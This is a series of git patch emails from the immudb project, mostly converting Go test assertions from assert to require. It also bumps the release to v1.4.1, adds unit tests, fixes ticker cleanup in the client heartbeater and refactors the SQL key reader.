assert.Equal(t, "error", raw["level"]) + require.Equal(t, "some info foo bar", raw["message"]) + require.Equal(t, "error", raw["level"]) }) t.Run("log with component", func(t *testing.T) { @@ -308,7 +308,7 @@ func TestJSONLogger(t *testing.T) { Name: "test", Output: &buf, }) - assert.NoError(t, err) + require.NoError(t, err) logWithFunc(logger, "some info foo bar") @@ -319,7 +319,7 @@ func TestJSONLogger(t *testing.T) { t.Fatal(err) } - assert.Equal(t, "github.com/codenotary/immudb/pkg/logger.logWithFunc", raw["component"]) + require.Equal(t, "github.com/codenotary/immudb/pkg/logger.logWithFunc", raw["component"]) }) } From e95def194509a02e6df428d57c1933ea38357909 Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Wed, 16 Nov 2022 21:01:38 +0100 Subject: [PATCH 0039/1062] test(pkg/signer): replace assert with require Signed-off-by: Jakub Nowik --- pkg/signer/ecdsa_test.go | 43 ++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 22 deletions(-) diff --git a/pkg/signer/ecdsa_test.go b/pkg/signer/ecdsa_test.go index 4ede57b730..9d9eb2dabc 100644 --- a/pkg/signer/ecdsa_test.go +++ b/pkg/signer/ecdsa_test.go @@ -26,16 +26,15 @@ import ( "strings" "testing" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestNewSigner(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") - assert.NoError(t, err) + require.NoError(t, err) var i interface{} = s _, ok := i.(Signer) - assert.True(t, ok) + require.True(t, ok) } func TestNewSignerFromPKey(t *testing.T) { @@ -46,33 +45,33 @@ func TestNewSignerFromPKey(t *testing.T) { s := NewSignerFromPKey(r, pk) var i interface{} = s _, ok := i.(Signer) - assert.True(t, ok) + require.True(t, ok) } func TestNewSignerKeyNotExistent(t *testing.T) { s, err := NewSigner("./not_exists") - assert.Error(t, err) - assert.Nil(t, s) + require.Error(t, err) + require.Nil(t, s) } func TestNewSignerNoKeyFound(t *testing.T) { s, err := NewSigner("./../../test/signer/unparsable.key") - assert.Error(t, err) - assert.Nil(t, s) + require.Error(t, err) + require.Nil(t, s) } func TestNewSignerKeyUnparsable(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.pub") - assert.Error(t, err) - assert.Nil(t, s) + require.Error(t, err) + require.Nil(t, s) } func TestSignature_Sign(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") - assert.NoError(t, err) + require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) _, _, err = s.Sign(rawMessage[:]) - assert.NoError(t, err) + require.NoError(t, err) } func TestSignature_SignError(t *testing.T) { @@ -83,38 +82,38 @@ func TestSignature_SignError(t *testing.T) { r := strings.NewReader("") s := NewSignerFromPKey(r, pk) _, _, err := s.Sign([]byte(``)) - assert.Error(t, err) + require.Error(t, err) } func TestSignature_Verify(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") - assert.NoError(t, err) + require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) signature, publicKey, _ := s.Sign(rawMessage[:]) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) ok, err := Verify(rawMessage[:], signature, ecdsaPK) - assert.True(t, ok) - assert.NoError(t, err) + require.True(t, ok) + require.NoError(t, err) } func TestSignature_VerifyError(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") - assert.NoError(t, err) + require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) _, publicKey, _ := s.Sign(rawMessage[:]) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) ok, err := Verify(rawMessage[:], []byte(`wrongsignature`), ecdsaPK) - assert.False(t, ok) - assert.Error(t, err) + require.False(t, ok) + require.Error(t, err) } func TestSignature_VerifyFalse(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.key") - assert.NoError(t, err) + require.NoError(t, err) rawMessage := sha256.Sum256([]byte(`myhash`)) _, publicKey, _ := s.Sign(rawMessage[:]) sigToMarshal := ecdsaSignature{R: &big.Int{}, S: &big.Int{}} @@ -122,8 +121,8 @@ func TestSignature_VerifyFalse(t *testing.T) { ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) ok, err := Verify(rawMessage[:], m, ecdsaPK) - assert.False(t, ok) - assert.NoError(t, err) + require.False(t, ok) + require.NoError(t, err) } func TestUnmarshalKey_Error(t *testing.T) { From 48c91ad3b3a3cefbb7dd4cebd1cacb8b04c5d211 Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Wed, 16 Nov 2022 21:47:30 +0100 Subject: [PATCH 0040/1062] test(pkg/stream): replace assert with require Signed-off-by: Jakub Nowik --- pkg/stream/sender_test.go | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/pkg/stream/sender_test.go b/pkg/stream/sender_test.go index 529aeea5b3..8a92fc617f 100644 --- a/pkg/stream/sender_test.go +++ b/pkg/stream/sender_test.go @@ -23,13 +23,13 @@ import ( "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" - "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestNewMsgSender(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, 4096) - assert.IsType(t, new(msgSender), s) + require.IsType(t, new(msgSender), s) } func TestMsgSender_Send(t *testing.T) { @@ -40,7 +40,7 @@ func TestMsgSender_Send(t *testing.T) { message := bytes.Join([][]byte{streamtest.GetTrailer(len(content)), content}, nil) b := bytes.NewBuffer(message) err := s.Send(b, b.Len()) - assert.NoError(t, err) + require.NoError(t, err) } func TestMsgSender_SendPayloadSizeZero(t *testing.T) { @@ -48,7 +48,7 @@ func TestMsgSender_SendPayloadSizeZero(t *testing.T) { s := NewMsgSender(sm, 4096) b := bytes.NewBuffer(nil) err := s.Send(b, 0) - assert.Equal(t, ErrMessageLengthIsZero, err.Error()) + require.Equal(t, ErrMessageLengthIsZero, err.Error()) } func TestMsgSender_SendErrReader(t *testing.T) { @@ -60,7 +60,7 @@ func TestMsgSender_SendErrReader(t *testing.T) { }, } err := s.Send(r, 5000) - assert.Error(t, err) + require.Error(t, err) } func TestMsgSender_SendEmptyReader(t *testing.T) { @@ -72,7 +72,7 @@ func TestMsgSender_SendEmptyReader(t *testing.T) { }, } err := s.Send(r, 5000) - assert.Equal(t, ErrReaderIsEmpty, err.Error()) + require.Equal(t, ErrReaderIsEmpty, err.Error()) } func TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) { @@ -83,7 +83,7 @@ func TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) { message := streamtest.GetTrailer(len(content)) b := bytes.NewBuffer(message) err := s.Send(b, 5000) - assert.Equal(t, ErrNotEnoughDataOnStream, err.Error()) + require.Equal(t, ErrNotEnoughDataOnStream, err.Error()) } func TestMsgSender_SendLastChunk(t *testing.T) { @@ -93,7 +93,7 @@ func TestMsgSender_SendLastChunk(t *testing.T) { content := []byte(`mycontent`) b := bytes.NewBuffer(content) err := s.Send(b, len(content)) - assert.NoError(t, err) + require.NoError(t, err) } func TestMsgSender_SendMultipleChunks(t *testing.T) { @@ -103,12 +103,12 @@ func TestMsgSender_SendMultipleChunks(t *testing.T) { content := []byte(`mycontent`) b := bytes.NewBuffer(content) err := s.Send(b, len(content)) - assert.NoError(t, err) + require.NoError(t, err) } func TestMsgSender_RecvMsg(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := NewMsgSender(sm, 4096) err := s.RecvMsg(nil) - assert.NoError(t, err) + require.NoError(t, err) } From cc214dca9360e13045c1cca60c03266043f818ec Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Sun, 13 Nov 2022 23:53:41 +0100 Subject: [PATCH 0041/1062] test(pkg/server): replace assert with require Signed-off-by: Jakub Nowik --- pkg/server/sever_current_state_test.go | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index d1e1ca7317..67c58b8f67 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/signer" + "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/emptypb" ) @@ -66,15 +67,15 @@ func TestServerCurrentStateSigned(t *testing.T) { state, err := s.CurrentState(ctx, &emptypb.Empty{}) require.NoError(t, err) - require.IsType(t, &schema.ImmutableState{}, state) - require.IsType(t, &schema.Signature{}, state.Signature) - require.NotNil(t, state.Signature.Signature) - require.NotNil(t, state.Signature.PublicKey) + assert.IsType(t, &schema.ImmutableState{}, state) + assert.IsType(t, &schema.Signature{}, state.Signature) + assert.NotNil(t, state.Signature.Signature) + assert.NotNil(t, state.Signature.PublicKey) ecdsaPK, err := signer.UnmarshalKey(state.Signature.PublicKey) require.NoError(t, err) ok, err := signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK) require.NoError(t, err) - require.True(t, ok) + assert.True(t, ok) } From c19fb0f623ee5a6e9fe21d68dc0ceecd1fe9c2fe Mon Sep 17 00:00:00 2001 From: Jakub Nowik Date: Mon, 14 Nov 2022 23:17:33 +0100 Subject: [PATCH 0042/1062] test(pkg/server): replace assert with require Signed-off-by: Jakub Nowik --- pkg/server/sever_current_state_test.go | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index 67c58b8f67..d1e1ca7317 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -24,7 +24,6 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/signer" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/emptypb" ) @@ -67,15 +66,15 @@ func TestServerCurrentStateSigned(t *testing.T) { state, err := s.CurrentState(ctx, &emptypb.Empty{}) require.NoError(t, err) - assert.IsType(t, &schema.ImmutableState{}, state) - assert.IsType(t, &schema.Signature{}, state.Signature) - assert.NotNil(t, state.Signature.Signature) - assert.NotNil(t, state.Signature.PublicKey) + require.IsType(t, &schema.ImmutableState{}, state) + require.IsType(t, &schema.Signature{}, state.Signature) + require.NotNil(t, state.Signature.Signature) + require.NotNil(t, state.Signature.PublicKey) ecdsaPK, err := signer.UnmarshalKey(state.Signature.PublicKey) require.NoError(t, err) ok, err := signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK) require.NoError(t, err) - assert.True(t, ok) + require.True(t, ok) } From 99e4f1ea5970177be5287da2529849cd5ee64696 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Mon, 21 Nov 2022 14:48:25 +0100 Subject: [PATCH 0043/1062] release: v1.4.1 --- CHANGELOG.md | 9 ++++++++- Makefile | 2 +- README.md | 12 ++++++------ helm/Chart.yaml | 4 ++-- 4 files changed, 17 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 385f862b13..470064fdce 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.4.1] - 2022-11-14 +### Changes +- **pkg/server:** Add logs for activities related to users + + ## [v1.4.1-RC1] - 2022-11-16 ### Bug Fixes @@ -3140,7 +3146,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.4.1...HEAD +[v1.4.1]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...v1.4.1 [v1.4.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.0...v1.4.1-RC1 [v1.4.0]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC2...v1.4.0 [v1.4.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC1...v1.4.0-RC2 diff --git a/Makefile b/Makefile index c598226bb1..15eb7748f8 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.4.1-RC1 +VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/README.md b/README.md index cde1745e5d..8752789eb0 100644 --- a/README.md +++ b/README.md @@ -82,11 +82,11 @@ Click here to try out the immudb web console access in an [online demo environme ### Getting immudb running: executable -You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.4.0 for linux amd64: +You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.4.1 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.4.0/immudb-v1.4.0-linux-amd64 -mv immudb-v1.4.0-linux-amd64 immudb +wget https://github.com/codenotary/immudb/releases/download/v1.4.1/immudb-v1.4.1-linux-amd64 +mv immudb-v1.4.1-linux-amd64 immudb chmod +x immudb # run immudb in the foreground to see all output @@ -198,11 +198,11 @@ docker run --net=host -it --entrypoint /bin/sh minio/mc -c " ### Connecting with immuclient -You may download the immuclient binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immuclient, rename it to `immuclient`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.4.0 for linux amd64: +You may download the immuclient binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immuclient, rename it to `immuclient`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.4.1 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.4.0/immuclient-v1.4.0-linux-amd64 -mv immuclient-v1.4.0-linux-amd64 immuclient +wget https://github.com/codenotary/immudb/releases/download/v1.4.1/immuclient-v1.4.1-linux-amd64 +mv immuclient-v1.4.1-linux-amd64 immuclient chmod +x immuclient # start the interactive shell diff --git a/helm/Chart.yaml b/helm/Chart.yaml index 1e1300a1dd..bee3f2a709 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.4.0 -appVersion: "1.4.0" +version: 1.4.1 +appVersion: "1.4.1" From af048ba85235dd108c212590c9f34906eb90121e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 22 Nov 2022 10:49:14 +0100 Subject: [PATCH 0044/1062] chore: Update build/RELEASING.md file MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Clarify post-release steps Signed-off-by: Bartłomiej Święcki --- build/RELEASING.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/build/RELEASING.md b/build/RELEASING.md index 9b18cba467..f505ac71e4 100644 --- a/build/RELEASING.md +++ b/build/RELEASING.md @@ -203,8 +203,10 @@ and synchronize it with README.md from this repository. Once the release is done, following post-release actions are needed -* Ensure the new brew version is ready - sometimes it may need some manual fixes in [the formula file](https://github.com/Homebrew/homebrew-core/blob/master/Formula/immudb.rb) -* Ensure helm chart on artifactory is updated -* Start release of new AWS image +* Ensure the new [brew version](https://formulae.brew.sh/formula/immudb) is ready - + should happen automatically but sometimes it may need some manual fixes in + [the formula file](https://github.com/Homebrew/homebrew-core/blob/master/Formula/immudb.rb) +* Ensure that playground and demo have the updated immudb (should happen automatically within 24h) +* Ensure [helm chart on artifacthub](https://artifacthub.io/packages/helm/codenotary/immudb) is updated (needs manual update of our helm image) +* Start release of new AWS image (manual process) * Create PR with updates to this file if there were any undocumented / unclear steps -* Ensure that playground has the updated immudb (currently this is a manual process) From 0fe0f2ecb98e4bef3d7fd16f29b2236f04c85ec2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 21 Nov 2022 09:51:24 -0300 Subject: [PATCH 0045/1062] test(embedded/sql): unit testing type inference with casting Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 8acf5235ce..0d1053d65a 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -356,6 +356,26 @@ func TestTimestampCasts(t *testing.T) { require.Contains(t, err.Error(), "...") }) + t.Run("test casting unsupported type", func(t *testing.T) { + _, _, err = engine.Exec("INSERT INTO timestamp_table(ts) VALUES(CAST(true AS TIMESTAMP))", nil, nil) + require.ErrorIs(t, err, ErrUnsupportedCast) + + _, _, err = engine.Exec("INSERT INTO timestamp_table(ts) VALUES(CAST(true AS INTEGER))", nil, nil) + require.ErrorIs(t, err, ErrUnsupportedCast) + }) + + t.Run("test type inference with casting", func(t *testing.T) { + _, err = engine.Query("SELECT * FROM timestamp_table WHERE id < CAST(true AS TIMESTAMP)", nil, nil) + require.ErrorIs(t, err, ErrUnsupportedCast) + + rowReader, err := engine.Query("SELECT * FROM timestamp_table WHERE ts > CAST(id AS TIMESTAMP)", nil, nil) + require.NoError(t, err) + + _, err = rowReader.Read() + require.NoError(t, err) + + require.NoError(t, rowReader.Close()) + }) } func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { From 2bf588fb7e60c361a8fb0e8ecc8d142f3456e2fd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 21 Nov 2022 10:18:36 -0300 Subject: [PATCH 0046/1062] test(embedded/store): unit test adhoc time func Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index cd2ae40b13..5cdb9c4613 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -232,11 +232,42 @@ func TestImmudbStoreSettings(t *testing.T) { require.Equal(t, DefaultOptions().Synced, immuStore.Synced()) require.Equal(t, 1, immuStore.MaxConcurrency()) require.Equal(t, DefaultOptions().MaxIOConcurrency, immuStore.MaxIOConcurrency()) + require.Equal(t, DefaultOptions().MaxActiveTransactions, immuStore.MaxActiveTransactions()) require.Equal(t, DefaultOptions().MaxTxEntries, immuStore.MaxTxEntries()) require.Equal(t, DefaultOptions().MaxKeyLen, immuStore.MaxKeyLen()) require.Equal(t, DefaultOptions().MaxValueLen, immuStore.MaxValueLen()) } +func TestImmudbStoreWithTimeFunction(t *testing.T) { + immuStore, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + + defer immuStore.Close() + + err = immuStore.UseTimeFunc(nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + fixedTime := time.Now() + + // add some delay to ensure time has passed + time.Sleep(10 * time.Microsecond) + + err = immuStore.UseTimeFunc(func() time.Time { + return fixedTime + }) + require.NoError(t, err) + + tx, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + hdr, err := tx.Commit() + require.NoError(t, err) + require.Equal(t, fixedTime.Unix(), hdr.Ts) +} + func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail with invalid options", func(t *testing.T) { _, err := Open(t.TempDir(), nil) From 7f51233208a6cbf13ee228edebc7a3a72103eb9d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 21 Nov 2022 10:45:38 -0300 Subject: [PATCH 0047/1062] test(pkg/database): basic test of precommit tx discarding Signed-off-by: Jeronimo Irazabal --- pkg/database/replica_test.go | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index f1c4ed6ac0..5a78be0a80 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -20,6 +20,7 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" @@ -105,6 +106,12 @@ func TestSwitchToReplica(t *testing.T) { replica.AsReplica(true, false, 0) + state, err := replica.CurrentState() + require.NoError(t, err) + + err = replica.DiscardPrecommittedTxsSince(state.TxId) + require.Error(t, err, store.ErrIllegalArguments) + _, err = replica.ListTables(nil) require.NoError(t, err) From 48f647e948910a86fd1928c2bade0d6c71166f60 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 21 Nov 2022 11:23:59 -0300 Subject: [PATCH 0048/1062] test(pkg/server): unit testing transaction corner cases Signed-off-by: Jeronimo Irazabal --- pkg/server/transaction_test.go | 46 ++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 pkg/server/transaction_test.go diff --git a/pkg/server/transaction_test.go b/pkg/server/transaction_test.go new file mode 100644 index 0000000000..1320a11d93 --- /dev/null +++ b/pkg/server/transaction_test.go @@ -0,0 +1,46 @@ +package server + +import ( + "context" + "io/ioutil" + "os" + "testing" + + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/emptypb" +) + +func TestImmuServer_Transaction(t *testing.T) { + dir, err := ioutil.TempDir("", "server_test") + require.NoError(t, err) + defer os.RemoveAll(dir) + + s := DefaultServer() + + s.WithOptions(DefaultOptions().WithDir(dir).WithMaintenance(true)) + + _, err = s.NewTx(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = s.NewTx(context.Background(), &schema.NewTxRequest{Mode: schema.TxMode_ReadWrite}) + require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) + + _, err = s.Commit(context.Background(), &emptypb.Empty{}) + require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) + + _, err = s.Rollback(context.Background(), &emptypb.Empty{}) + require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) + + _, err = s.TxSQLExec(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = s.TxSQLExec(context.Background(), &schema.SQLExecRequest{}) + require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) + + _, err = s.TxSQLQuery(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = s.TxSQLQuery(context.Background(), &schema.SQLQueryRequest{}) + require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) +} From e558684c89ec4e05caf271f125241aafac22e580 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 7 Dec 2022 07:26:00 -0300 Subject: [PATCH 0049/1062] fix(pkg/client): ensure ticker is properly stopped Signed-off-by: Jeronimo Irazabal chore(pkg/client): remove references to speed up memory reuse Signed-off-by: Jeronimo Irazabal --- pkg/client/heartbeater/heartbeater.go | 7 ++++--- pkg/client/session.go | 4 ++++ 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/pkg/client/heartbeater/heartbeater.go b/pkg/client/heartbeater/heartbeater.go index f8ce5114a5..0dffd96b86 100644 --- a/pkg/client/heartbeater/heartbeater.go +++ b/pkg/client/heartbeater/heartbeater.go @@ -30,7 +30,7 @@ type heartBeater struct { sessionID string logger logger.Logger serviceClient schema.ImmuServiceClient - done chan bool + done chan struct{} t *time.Ticker } @@ -44,7 +44,7 @@ func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInte sessionID: sessionID, logger: logger.NewSimpleLogger("immuclient", stdos.Stdout), serviceClient: sc, - done: make(chan bool), + done: make(chan struct{}), t: time.NewTicker(keepAliveInterval), } } @@ -68,7 +68,8 @@ func (hb *heartBeater) KeepAlive(ctx context.Context) { } func (hb *heartBeater) Stop() { - hb.done <- true + hb.t.Stop() + close(hb.done) } func (hb *heartBeater) keepAliveRequest(ctx context.Context) error { diff --git a/pkg/client/session.go b/pkg/client/session.go index 248730de5c..9a1e766e90 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -101,6 +101,10 @@ func (c *immuClient) CloseSession(ctx context.Context) error { defer func() { c.SessionID = "" c.clientConn = nil + c.ServiceClient = nil + c.StateService = nil + c.serverSigningPubKey = nil + c.HeartBeater = nil }() c.HeartBeater.Stop() From d15efe629bdc83cbdffc05b26868aecc83aec26c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Dec 2022 01:50:39 -0300 Subject: [PATCH 0050/1062] chore(embedded/sql): upgraded row reader Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 21 +++++++++++++-------- embedded/sql/row_reader.go | 6 +++--- embedded/sql/stmt.go | 10 +++++----- 3 files changed, 21 insertions(+), 16 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index c798c1ca04..2d7eca5647 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -117,7 +117,7 @@ type MultiDBHandler interface { ExecPreparedStmts(ctx context.Context, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } -//SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW +// SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW type SQLTx struct { engine *Engine @@ -275,7 +275,7 @@ func (sqlTx *SQLTx) distinctLimit() int { return sqlTx.engine.distinctLimit } -func (sqlTx *SQLTx) newKeyReader(rSpec *store.KeyReaderSpec) (*store.KeyReader, error) { +func (sqlTx *SQLTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, error) { return sqlTx.tx.NewKeyReader(rSpec) } @@ -288,7 +288,12 @@ func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) er } func (sqlTx *SQLTx) existKeyWith(prefix, neq []byte) (bool, error) { - return sqlTx.tx.ExistKeyWith(prefix, neq) + _, _, err := sqlTx.tx.GetWithPrefix(prefix, neq) + if errors.Is(err, store.ErrKeyNotFound) { + return false, nil + } + + return err == nil, err } func (sqlTx *SQLTx) Cancel() error { @@ -324,7 +329,7 @@ func (sqlTx *SQLTx) Closed() bool { } func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := &store.KeyReaderSpec{ + dbReaderSpec := store.KeyReaderSpec{ Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -369,7 +374,7 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { } func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { - dbReaderSpec := &store.KeyReaderSpec{ + dbReaderSpec := store.KeyReaderSpec{ Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(db.id)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -450,7 +455,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { } func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { - pkReaderSpec := &store.KeyReaderSpec{ + pkReaderSpec := store.KeyReaderSpec{ Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), DescOrder: true, } @@ -472,7 +477,7 @@ func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, err func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) - dbReaderSpec := &store.KeyReaderSpec{ + dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -532,7 +537,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) - idxReaderSpec := &store.KeyReaderSpec{ + idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 454b78f9b6..56e3f47034 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -124,7 +124,7 @@ type rawRowReader struct { params map[string]interface{} - reader *store.KeyReader + reader store.KeyReader onCloseCallback func() } @@ -155,7 +155,7 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per return nil, err } - r, err := tx.newKeyReader(rSpec) + r, err := tx.newKeyReader(*rSpec) if err != nil { return nil, err } @@ -393,7 +393,7 @@ func (r *rawRowReader) Read() (row *Row, err error) { if r.txRange == nil { mkey, vref, err = r.reader.Read() } else { - mkey, vref, _, err = r.reader.ReadBetween(r.txRange.initialTxID, r.txRange.finalTxID) + mkey, vref, err = r.reader.ReadBetween(r.txRange.initialTxID, r.txRange.finalTxID) } if err != nil { return nil, err diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 2b9949ee92..c0f60a1902 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2068,7 +2068,7 @@ const ( type DataSource interface { 